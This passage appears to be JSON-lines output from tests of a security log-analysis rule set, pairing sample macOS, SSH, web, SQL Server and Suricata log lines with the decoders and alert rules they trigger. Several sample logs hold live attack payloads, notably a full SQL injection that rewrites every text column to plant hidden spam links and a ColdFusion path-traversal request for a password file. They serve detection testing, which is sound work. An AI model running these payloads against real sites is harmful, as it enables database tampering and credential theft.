"expected_decoder": "macOS_loginwindow", "expected_rule": "89603", "rule_matches_expected": true, "ini_file": "macos.ini", "section": "Screen locked"} +{"log": "2023-04-20 11:01:00.364465+0200 localhost sessionlogoutd[6119]: (loginsupport) [com.apple.sessionlogoutd:SLOD_General] -[SessionLogoutd continueLogoutAfterDelayOptionsComplete]:456: sessionlogoutd telling session agent, logout is complete.", "decoder": "macOS_sessionlogoutd", "parent": "", "fields": {}, "field_names": [], "rule": "89604", "level": "3", "expected_decoder": "macOS_sessionlogoutd", "expected_rule": "89604", "rule_matches_expected": true, "ini_file": "macos.ini", "section": "User logoff"} +{"log": "2023-04-20 11:16:56.849437+0200 localhost loginwindow[9143]: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendDistributedNotification:forUserID:] | sendDistributedNotification: com.apple.sessionDidLogin, with userID:501", "decoder": "macOS_loginwindow", "parent": "", "fields": {"userID": "501"}, "field_names": ["userID"], "rule": "89605", "level": "3", "expected_decoder": "macOS_loginwindow", "expected_rule": "89605", "rule_matches_expected": true, "ini_file": "macos.ini", "section": "User login"} +{"log": "2023-01-23 03:32:35.380619-0800 localhost screensharingd[3535]: Authentication: FAILED :: User Name: macos :: Viewer Address: 192.168.56.128 :: Type: DH", "decoder": "macOS_screensharingd", "parent": "", "fields": {"action": "FAILED", "dstuser": "macos", "ip_address": "192.168.56.128", "type": "DH"}, "field_names": ["action", "dstuser", "ip_address", "type"], "rule": "89606", "level": "5", "expected_decoder": "macOS_screensharingd", "expected_rule": "89606", "rule_matches_expected": true, "ini_file": "macos.ini", "section": "Attempt to connect to screen sharing with username $(dstuser) from $(ip_address) failed"} +{"log": "2023-01-23 03:32:42.775333-0800 localhost screensharingd[3535]: Authentication: SUCCEEDED :: User Name: macos :: Viewer Address: 192.168.56.128 :: Type: N/A", "decoder": "macOS_screensharingd", "parent": "", "fields": {"action": "SUCCEEDED", "dstuser": "macos", "ip_address": "192.168.56.128", "type": "N/A"}, "field_names": ["action", "dstuser", "ip_address", "type"], "rule": "89607", "level": "3", "expected_decoder": "macOS_screensharingd", "expected_rule": "89607", "rule_matches_expected": true, "ini_file": "macos.ini", "section": "Attempt to connect to screen sharing with username $(dstuser) from $(ip_address) succeeded"} +{"log": "2023-04-04 14:28:51.146384-0300 localhost securityd[122]: [com.apple.securityd:SecServer] 0x7f9289a19240 Session 71803 created, uid:501 sessionId:71803", "decoder": "macOS_securityd", "parent": "", "fields": {"sessionId": "71803", "uid": "501"}, "field_names": ["sessionId", "uid"], "rule": "89608", "level": "3", "expected_decoder": "macOS_securityd", "expected_rule": "89608", "rule_matches_expected": true, "ini_file": "macos.ini", "section": "Session $(sessionId) has been created"} +{"log": "2023-01-23 03:26:38.517706-0800 localhost securityd[129]: [com.apple.securityd:SecServer] 0x7fae6a535710 Session 3495 destroyed", "decoder": "macOS_securityd", "parent": "", "fields": {"sessionId": "3495"}, "field_names": ["sessionId"], "rule": "89609", "level": "3", "expected_decoder": "macOS_securityd", "expected_rule": "89609", "rule_matches_expected": true, "ini_file": "macos.ini", "section": "Session $(sessionId) has been destroyed"} +{"log": "2023-04-13 22:02:51.837266+0200 localhost loginwindow[164]: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendBSDNotification:forUserID:] | sendBSDNotification: com.apple.sessionagent.screenIsLocked, with userID:501", "decoder": "macOS_loginwindow", "parent": "", "fields": {"userID": "501"}, "field_names": ["userID"], "rule": "89603", "level": "3", "expected_decoder": "macOS_loginwindow", "expected_rule": "89603", "rule_matches_expected": true, "ini_file": "macos.ini", "section": "plus symbol on timestamp"} +{"log": "{\"ClientIP\":\"218.92.0.222\",\"ClientRequestHost\":\"ae-preprod.yap.com\",\"ClientRequestMethod\":\"GET\",\"ClientRequestURI\":\"/messages/actuator/health\",\"EdgeEndTimestamp\":\"2021-07-27T21:26:42Z\",\"EdgeResponseBytes\":845,\"EdgeResponseStatus\":200,\"EdgeStartTimestamp\":\"2021-07-27T21:26:42Z\",\"RayID\":\"6758f291eb0b60df\",\"FirewallMatchesActions\":[],\"FirewallMatchesRuleIDs\":[],\"FirewallMatchesSources\":[],\"OriginIP\":\"99.83.222.19\",\"OriginSSLProtocol\":\"TLSv1.2\",\"OriginResponseBytes\":0,\"OriginResponseHTTPExpires\":\"\",\"OriginResponseHTTPLastModified\":\"\",\"OriginResponseStatus\":200,\"OriginResponseTime\":20000000,\"WAFAction\":\"unknown\",\"WAFFlags\":\"0\",\"WAFMatchedVar\":\"\",\"WAFProfile\":\"unknown\",\"WAFRuleID\":\"\",\"WAFRuleMessage\":\"\",\"WorkerCPUTime\":0,\"WorkerStatus\":\"unknown\",\"WorkerSubrequest\":false,\"WorkerSubrequestCount\":0,\"CacheCacheStatus\":\"unknown\",\"CacheTieredFill\":false,\"CacheResponseBytes\":1981,\"CacheResponseStatus\":200,\"ClientCountry\":\"ie\",\"ClientDeviceType\":\"desktop\",\"ClientIPClass\":\"noRecord\",\"ZoneID\":276192118,\"ZoneName\":\"yap.com\",\"SecurityLevel\":\"unk\"}", "decoder": "json", "parent": "", "fields": {"CacheCacheStatus": "unknown", "CacheResponseBytes": "1981", "CacheResponseStatus": "200", "CacheTieredFill": "false", "ClientCountry": "ie", "ClientDeviceType": "desktop", "ClientIP": "218.92.0.222", "ClientIPClass": "noRecord", "ClientRequestHost": "ae-preprod.yap.com", "ClientRequestMethod": "GET", "ClientRequestURI": "/messages/actuator/health", "EdgeEndTimestamp": "2021-07-27T21:26:42Z", "EdgeResponseBytes": "845", "EdgeResponseStatus": "200", "EdgeStartTimestamp": "2021-07-27T21:26:42Z", "FirewallMatchesActions": "[]", "FirewallMatchesRuleIDs": "[]", "FirewallMatchesSources": "[]", "OriginIP": "99.83.222.19", "OriginResponseBytes": "0", "OriginResponseStatus": "200", "OriginResponseTime": "20000000", "OriginSSLProtocol": "TLSv1.2", "RayID": "6758f291eb0b60df", "SecurityLevel": "unk", "WAFAction": "unknown", "WAFFlags": "0", "WAFProfile": "unknown", "WorkerCPUTime": "0", "WorkerStatus": "unknown", "WorkerSubrequest": "false", "WorkerSubrequestCount": "0", "ZoneID": "276192118", "ZoneName": "yap.com"}, "field_names": ["CacheCacheStatus", "CacheResponseBytes", "CacheResponseStatus", "CacheTieredFill", "ClientCountry", "ClientDeviceType", "ClientIP", "ClientIPClass", "ClientRequestHost", "ClientRequestMethod", "ClientRequestURI", "EdgeEndTimestamp", "EdgeResponseBytes", "EdgeResponseStatus", "EdgeStartTimestamp", "FirewallMatchesActions", "FirewallMatchesRuleIDs", "FirewallMatchesSources", "OriginIP", "OriginResponseBytes", "OriginResponseStatus", "OriginResponseTime", "OriginSSLProtocol", "RayID", "SecurityLevel", "WAFAction", "WAFFlags", "WAFProfile", "WorkerCPUTime", "WorkerStatus", "WorkerSubrequest", "WorkerSubrequestCount", "ZoneID", "ZoneName"], "rule": "99902", "level": "9", "expected_decoder": "json", "expected_rule": "99902", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "Cloudflare WAF: Connection from malicious IP"} +{"log": "Dec 10 01:02:02 host sshd[1234]: Accepted none for root from 218.92.0.222 port 1066 ssh2", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "root", "srcip": "218.92.0.222", "srcport": "1066"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "99903", "level": "14", "expected_decoder": "sshd", "expected_rule": "99903", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "sshd: Authentication succeeded from a malicious IP address"} +{"log": "Dec 10 01:02:02 host sshd[1234]: Failed none for root from 218.92.0.222 port 1066 ssh2", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "root", "srcip": "218.92.0.222", "srcport": "1066"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "99904", "level": "9", "expected_decoder": "sshd", "expected_rule": "99904", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "sshd: Authentication failed from a malicious IP address"} +{"log": "2015-03-11 22:01:59 1.2.3.4 GET /CFIDE/adminapi/customtags/l10n.cfm attributes.id=test&attributes.file=../../administrator/mail/download.cfm&filename=../lib/password.properties&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=test 443 - 218.92.0.222 - - 404 0 2 0", "decoder": "web-accesslog-iis-default", "parent": "windows-date-format", "fields": {"action": "GET", "id": "404", "srcip": "218.92.0.222", "srcport": "443", "url": "/CFIDE/adminapi/customtags/l10n.cfm attributes.id=test&attributes.file=../../administrator/mail/download.cfm&filename=../lib/password.properties&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=test", "user_agent": "-"}, "field_names": ["action", "id", "srcip", "srcport", "url", "user_agent"], "rule": "99905", "level": "9", "expected_decoder": "web-accesslog-iis-default", "expected_rule": "99905", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "Common web attack from malicious IP"} +{"log": "2014-12-20 21:34:37 W3SVC58 XXX-XXWEB-01 1.2.3.4 GET /search/programdetails.aspx id=3542&print=');declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20set%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(CHECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''abortion%20pill%20prescription%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2BREPLACE(case%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''www.yeronimo.com@template''%20when%201%20then%20''www.tula-point.ru@template''%20else%20''blog.tchami.com@template''%20end,''@'',char(47))%2B''%22''%2Bchar(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''online''%20when%201%20then%20''i%20need%20to%20buy%20the%20abortion%20pill''%20else%20''abortion%20pill''%20end%20%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20where%20to%20buy%20abortion%20pill''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar'%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=2147483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c-- 80 - 218.92.0.222 HTTP/1.1 Mozilla/5.0+(Windows+NT+6.1;+WOW64;+rv:24.0)+Gecko/20100101+Firefox/24.0');declare+@c+cursor;declare+@d+varchar(4000);set+@c=cursor+for+select+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+COLUMN_NAME+']+case+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+''div+style=\"display:none\"''+char(62)+''abortion+pill+prescription+''+char(60)+''a+href=\"http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM(NewId()))%3+when+0+then+''www.yeronimo.com@template''+when+1+then+''www.tula-point.ru@template''+else+''blog.tchami.com@template''+end,''@'',char(47))+''\"''+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+''online''+when+1+then+''i+need+to+buy+the+abortion+pill''+else+''abortion+pill''+end++char(60)+char(47)+''a''+char(62)+''+where+to+buy+abortion+pill''+char(60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM+sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+INFORMATION_SCHEMA.COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1)+and+DATA_TYPE+like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHARACTER_MAXIMUM_LENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;while+@@FETCH_STATUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;close+@c-- - http://google.com');declare+@c+cursor;declare+@d+varchar(4000);set+@c=cursor+for+select+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+COLUMN_NAME+']+case+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+''div+style=\"display:none\"''+char(62)+''abortion+pill+prescription+''+char(60)+''a+href=\"http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM(NewId()))%3+when+0+then+''www.yeronimo.com@template''+when+1+then+''www.tula-point.ru@template''+else+''blog.tchami.com@template''+end,''@'',char(47))+''\"''+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+''online''+when+1+then+''i+need+to+buy+the+abortion+pill''+else+''abortion+pill''+end++char(60)+char(47)+''a''+char(62)+''+where+to+buy+abortion+pill''+char(60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM+sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+INFORMATION_SCHEMA.COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1)+and+DATA_TYPE+like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHARACTER_MAXIMUM_LENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;while+@@FETCH_STATUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;close+@c-- www.somesite.org 200 0 0 36560 3942 78", "decoder": "web-accesslog-iis6", "parent": "windows-date-format", "fields": {"id": "200", "srcip": "218.92.0.222", "url": "/search/programdetails.aspx id=3542&print=');declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20set%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(CHECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''abortion%20pill%20prescription%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2BREPLACE(case%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''www.yeronimo.com@template''%20when%201%20then%20''www.tula-point.ru@template''%20else%20''blog.tchami.com@template''%20end,''@'',char(47))%2B''%22''%2Bchar(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''online''%20when%201%20then%20''i%20need%20to%20buy%20the%20abortion%20pill''%20else%20''abortion%20pill''%20end%20%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20where%20to%20buy%20abortion%20pill''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar'%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=2147483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c--"}, "field_names": ["id", "srcip", "url"], "rule": "99906", "level": "14", "expected_decoder": "web-accesslog-iis6", "expected_rule": "99906", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "A web attack from malicious IP returned code 200 (success)"} +{"log": "[Thu May 12 16:02:18 2025] [error] [client 218.92.0.222] user nonexistentuser not found: /secure/login.php", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"srcip": "218.92.0.222"}, "field_names": ["srcip"], "rule": "99907", "level": "9", "expected_decoder": "apache-errorlog", "expected_rule": "99907", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "Apache: User authentication from malicious IP failed"} +{"log": "[error] [client 218.92.0.222] File does not exist: /var/www/html/default.idasecure/login.php", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"srcip": "218.92.0.222"}, "field_names": ["srcip"], "rule": "99908", "level": "9", "expected_decoder": "apache-errorlog", "expected_rule": "99908", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "Apache: Attempt to access forbidden or non-existent file or directory from malicious IP"} +{"log": "2023-01-23 03:32:35.380619-0800 localhost screensharingd[3535]: Authentication: FAILED :: User Name: macos :: Viewer Address: 218.92.0.222 :: Type: DH", "decoder": "macOS_screensharingd", "parent": "", "fields": {"action": "FAILED", "dstuser": "macos", "ip_address": "218.92.0.222", "type": "DH"}, "field_names": ["action", "dstuser", "ip_address", "type"], "rule": "99909", "level": "9", "expected_decoder": "macOS_screensharingd", "expected_rule": "99909", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "Attempt to connect to screen sharing with username from malicious IP failed"} +{"log": "2023-01-23 03:32:42.775333-0800 localhost screensharingd[3535]: Authentication: SUCCEEDED :: User Name: macos :: Viewer Address: 218.92.0.222 :: Type: N/A", "decoder": "macOS_screensharingd", "parent": "", "fields": {"action": "SUCCEEDED", "dstuser": "macos", "ip_address": "218.92.0.222", "type": "N/A"}, "field_names": ["action", "dstuser", "ip_address", "type"], "rule": "99910", "level": "14", "expected_decoder": "macOS_screensharingd", "expected_rule": "99910", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "Attempt to connect to screen sharing with username from malicious IP succeeded"} +{"log": "Jan 11 03:42:09 hostname dovecot: auth-worker(default): sql(user@example.com,218.92.0.222): Password mismatch", "decoder": "dovecot", "parent": "dovecot", "fields": {"dstuser": "user@example.com", "srcip": "218.92.0.222"}, "field_names": ["dstuser", "srcip"], "rule": "99911", "level": "9", "expected_decoder": "dovecot", "expected_rule": "99911", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "Dovecot Authentication from malicious IP Failed"} +{"log": "2017-04-03 15:55:24.37 Logon Login succeeded for user 'DOMAIN\\user'. Connection made using Windows authentication. [CLIENT: 218.92.0.222]", "decoder": "sqlserver", "parent": "sqlserver", "fields": {"srcip": "218.92.0.222", "srcuser": "DOMAIN\\user"}, "field_names": ["srcip", "srcuser"], "rule": "99913", "level": "14", "expected_decoder": "sqlserver", "expected_rule": "99913", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "SQL Server login from malicious IP was successful"} +{"log": "2017-04-03 15:53:08.22 Logon Login failed for user 'DOMAIN\\sqluser'. Reason: Failed to open the explicitly specified database. [CLIENT: 218.92.0.222]", "decoder": "sqlserver", "parent": "sqlserver", "fields": {"srcip": "218.92.0.222", "srcuser": "DOMAIN\\sqluser"}, "field_names": ["srcip", "srcuser"], "rule": "99914", "level": "9", "expected_decoder": "sqlserver", "expected_rule": "99914", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "SQL Server login from malicious IP failed"} +{"log": "{\"timestamp\":\"2016-05-02T17:46:48.515262+0000\",\"flow_id\":1234,\"in_iface\":\"eth0\",\"event_type\":\"alert\",\"src_ip\":\"218.92.0.222\",\"src_port\":5555,\"dest_ip\":\"16.10.10.11\",\"dest_port\":80,\"proto\":\"TCP\",\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":2019236,\"rev\":3,\"signature\":\"ET WEB_SERVER Possible CVE-2014-6271 Attempt in HTTP Version Number\",\"category\":\"Attempted Administrator Privilege Gain\",\"severity\":1},\"payload\":\"abcde\",\"payload_printable\":\"hi test\",\"stream\":0,\"host\":\"suricata.com\"}", "decoder": "json", "parent": "", "fields": {"alert.action": "allowed", "alert.category": "Attempted Administrator Privilege Gain", "alert.gid": "1", "alert.rev": "3", "alert.severity": "1", "alert.signature": "ET WEB_SERVER Possible CVE-2014-6271 Attempt in HTTP Version Number", "alert.signature_id": "2019236", "dest_ip": "16.10.10.11", "dest_port": "80", "event_type": "alert", "flow_id": "1234", "host": "suricata.com", "in_iface": "eth0", "payload": "abcde", "payload_printable": "hi test", "proto": "TCP", "src_ip": "218.92.0.222", "src_port": "5555", "stream": "0", "timestamp": "2016-05-02T17:46:48.515262+0000"}, "field_names": ["alert.action", "alert.category", "alert.gid", "alert.rev", "alert.severity", "alert.signature", "alert.signature_id", "dest_ip", "dest_port", "event_type", "flow_id", "host", "in_iface", "payload", "payload_printable", "proto", "src_ip", "src_port", "stream", "timestamp"], "rule": "99915", "level": "9", "expected_decoder": "json", "expected_rule": "99915", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "Suricata: Alert from malicious IP (src_ip)"} +{"log": "{\"timestamp\":\"2016-05-02T17:46:48.515262+0000\",\"flow_id\":1234,\"in_iface\":\"eth0\",\"event_type\":\"alert\",\"src_ip\":\"10.16.0.10\",\"src_port\":5555,\"dest_ip\":\"218.92.0.222\",\"dest_port\":80,\"proto\":\"TCP\",\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":2019236,\"rev\":3,\"signature\":\"ET WEB_SERVER Possible CVE-2014-6271 Attempt in HTTP Version Number\",\"category\":\"Attempted Administrator Privilege Gain\",\"severity\":1},\"payload\":\"abcde\",\"payload_printable\":\"hi test\",\"stream\":0,\"host\":\"suricata.com\"}", "decoder": "json", "parent": "", "fields": {"alert.action": "allowed", "alert.category": "Attempted Administrator Privilege Gain", "alert.gid": "1", "alert.rev": "3", "alert.severity": "1", "alert.signature": "ET WEB_SERVER Possible CVE-2014-6271 Attempt in HTTP Version Number", "alert.signature_id": "2019236", "dest_ip": "218.92.0.222", "dest_port": "80", "event_type": "alert", "flow_id": "1234", "host": "suricata.com", "in_iface": "eth0", "payload": "abcde", "payload_printable": "hi test", "proto": "TCP", "src_ip": "10.16.0.10", "src_port": "5555", "stream": "0", "timestamp": "2016-05-02T17:46:48.515262+0000"}, "field_names": ["alert.action", "alert.category", "alert.gid", "alert.rev", "alert.severity", "alert.signature", "alert.signature_id", "dest_ip", "dest_port", "event_type", "flow_id", "host", "in_iface", "payload", "payload_printable", "proto", "src_ip", "src_port", "stream", "timestamp"], "rule": "99916", "level": "9", "expected_decoder": "json", "expected_rule": "99916", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "Suricata: Alert from malicious IP (dest_ip)"} +{"log": "{\"timestamp\":\"2025-05-13T10:23:45.123456+0000\",\"flow_id\":987654321098765,\"in_iface\":\"eth0\",\"event_type\":\"http\",\"src_ip\":\"192.168.1.100\",\"src_port\":54321,\"dest_ip\":\"93.184.216.34\",\"dest_port\":80,\"proto\":\"TCP\",\"http\":{\"hostname\":\"qouv.fr\",\"url\":\"/index.html\",\"http_user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"http_method\":\"GET\",\"protocol\":\"HTTP/1.1\",\"status\":200,\"length\":1024},\"tx_id\":0}", "decoder": "json", "parent": "", "fields": {"dest_ip": "93.184.216.34", "dest_port": "80", "event_type": "http", "flow_id": "987654321098765.000000", "http.hostname": "qouv.fr", "http.http_method": "GET", "http.http_user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "http.length": "1024", "http.protocol": "HTTP/1.1", "http.status": "200", "http.url": "/index.html", "in_iface": "eth0", "proto": "TCP", "src_ip": "192.168.1.100", "src_port": "54321", "timestamp": "2025-05-13T10:23:45.123456+0000", "tx_id": "0"}, "field_names": ["dest_ip", "dest_port", "event_type", "flow_id", "http.hostname", "http.http_method", "http.http_user_agent", "http.length", "http.protocol", "http.status", "http.url", "in_iface", "proto", "src_ip", "src_port", "timestamp", "tx_id"], "rule": "99917", "level": "9", "expected_decoder": "json", "expected_rule": "99917", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "Suricata: Alert from malicious domain (http.hostname)"} +{"log": "{\"timestamp\":\"2025-05-13T11:45:32.789012+0000\",\"flow_id\":1122334455667788,\"in_iface\":\"eth0\",\"event_type\":\"dns\",\"src_ip\":\"192.168.1.101\",\"src_port\":33333,\"dest_ip\":\"8.8.8.8\",\"dest_port\":53,\"proto\":\"UDP\",\"dns\":{\"type\":\"query\",\"id\":12345,\"rrname\":\"qouv.fr\",\"rrtype\":\"A\",\"tx_id\":1},\"tx_id\":1}", "decoder": "json", "parent": "", "fields": {"dest_ip": "8.8.8.8", "dest_port": "53", "dns.id": "12345", "dns.rrname": "qouv.fr", "dns.rrtype": "A", "dns.tx_id": "1", "dns.type": "query", "event_type": "dns", "flow_id": "1122334455667788.000000", "in_iface": "eth0", "proto": "UDP", "src_ip": "192.168.1.101", "src_port": "33333", "timestamp": "2025-05-13T11:45:32.789012+0000", "tx_id": "1"}, "field_names": ["dest_ip", "dest_port", "dns.id", "dns.rrname", "dns.rrtype", "dns.tx_id", "dns.type", "event_type", "flow_id", "in_iface", "proto", "src_ip", "src_port", "timestamp", "tx_id"], "rule": "99918", "level": "9", "expected_decoder": "json", "expected_rule": "99918", "rule_matches_expected": true, "ini_file": "malicious-ioc.ini", "section": "Suricata: Alert from malicious domain (dns.rrname)"} +{"log": "{\"win\":{\"system\":{\"providerName\":\"Microsoft-Windows-Security-Auditing\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"eventID\":4625,\"version\":0,\"level\":0,\"task\":12544,\"opcode\":0,\"keywords\":\"0x8010000000000000\",\"systemTime\":\"2025-05-13T08:23:15.123456Z\",\"eventRecordID\":8745632,\"processID\":608,\"threadID\":2536,\"channel\":\"Security\",\"computer\":\"WINSERVER2022\",\"severityValue\":\"AUDIT_FAILURE\",\"message\":\"An account failed to log on.\"},\"eventdata\":{\"subjectUserSid\":\"S-1-0-0\",\"subjectUserName\":\"-\",\"subjectDomainName\":\"-\",\"subjectLogonId\":\"0x0\",\"targetUserSid\":\"S-1-0-0\",\"targetUserName\":\"administrator\",\"targetDomainName\":\"CONTOSO\",\"status\":\"0xC000006D\",\"failureReason\":\"c.\",\"subStatus\":\"0xC0000064\",\"logonType\":3,\"logonProcessName\":\"NtLmSsp\",\"authenticationPackageName\":\"NTLM\",\"workstationName\":\"REMOTEWORKSTATION\",\"transmittedServices\":\"-\",\"lmPackageName\":\"-\",\"keyLength\":0,\"processId\":\"0x0\",\"processName\":\"-\",\"ipAddress\":\"218.92.0.222\",\"ipPort\":\"58921\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.authenticationPackageName": "NTLM", "win.eventdata.failureReason": "c.", "win.eventdata.ipAddress": "218.92.0.222", "win.eventdata.ipPort": "58921", "win.eventdata.keyLength": "0", "win.eventdata.lmPackageName": "-", "win.eventdata.logonProcessName": "NtLmSsp", "win.eventdata.logonType": "3", "win.eventdata.processId": "0x0", "win.eventdata.processName": "-", "win.eventdata.status": "0xC000006D", "win.eventdata.subStatus": "0xC0000064", "win.eventdata.subjectDomainName": "-", "win.eventdata.subjectLogonId": "0x0", "win.eventdata.subjectUserName": "-", "win.eventdata.subjectUserSid": "S-1-0-0", "win.eventdata.targetDomainName": "CONTOSO", "win.eventdata.targetUserName": "administrator", "win.eventdata.targetUserSid": "S-1-0-0", "win.eventdata.transmittedServices": "-", "win.eventdata.workstationName": "REMOTEWORKSTATION", "win.system.channel": "Security", "win.system.computer": "WINSERVER2022", "win.system.eventID": "4625", "win.system.eventRecordID": "8745632", "win.system.keywords": "0x8010000000000000", "win.system.level": "0", "win.system.message": "An account failed to log on.", "win.system.opcode": "0", "win.system.processID": "608", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_FAILURE", "win.system.systemTime": "2025-05-13T08:23:15.123456Z", "win.system.task": "12544", "win.system.threadID": "2536", "win.system.version": "0"}, "field_names": ["win.eventdata.authenticationPackageName", "win.eventdata.failureReason", "win.eventdata.ipAddress", "win.eventdata.ipPort", "win.eventdata.keyLength", "win.eventdata.lmPackageName", "win.eventdata.logonProcessName", "win.eventdata.logonType", "win.eventdata.processId", "win.eventdata.processName", "win.eventdata.status", "win.eventdata.subStatus", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", "win.eventdata.targetUserName", "win.eventdata.targetUserSid", "win.eventdata.transmittedServices", "win.eventdata.workstationName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "99919", "rule_matches_expected": false, "ini_file": "malicious-ioc.ini", "section": "Failed Logon from malicious IP"} +{"log": 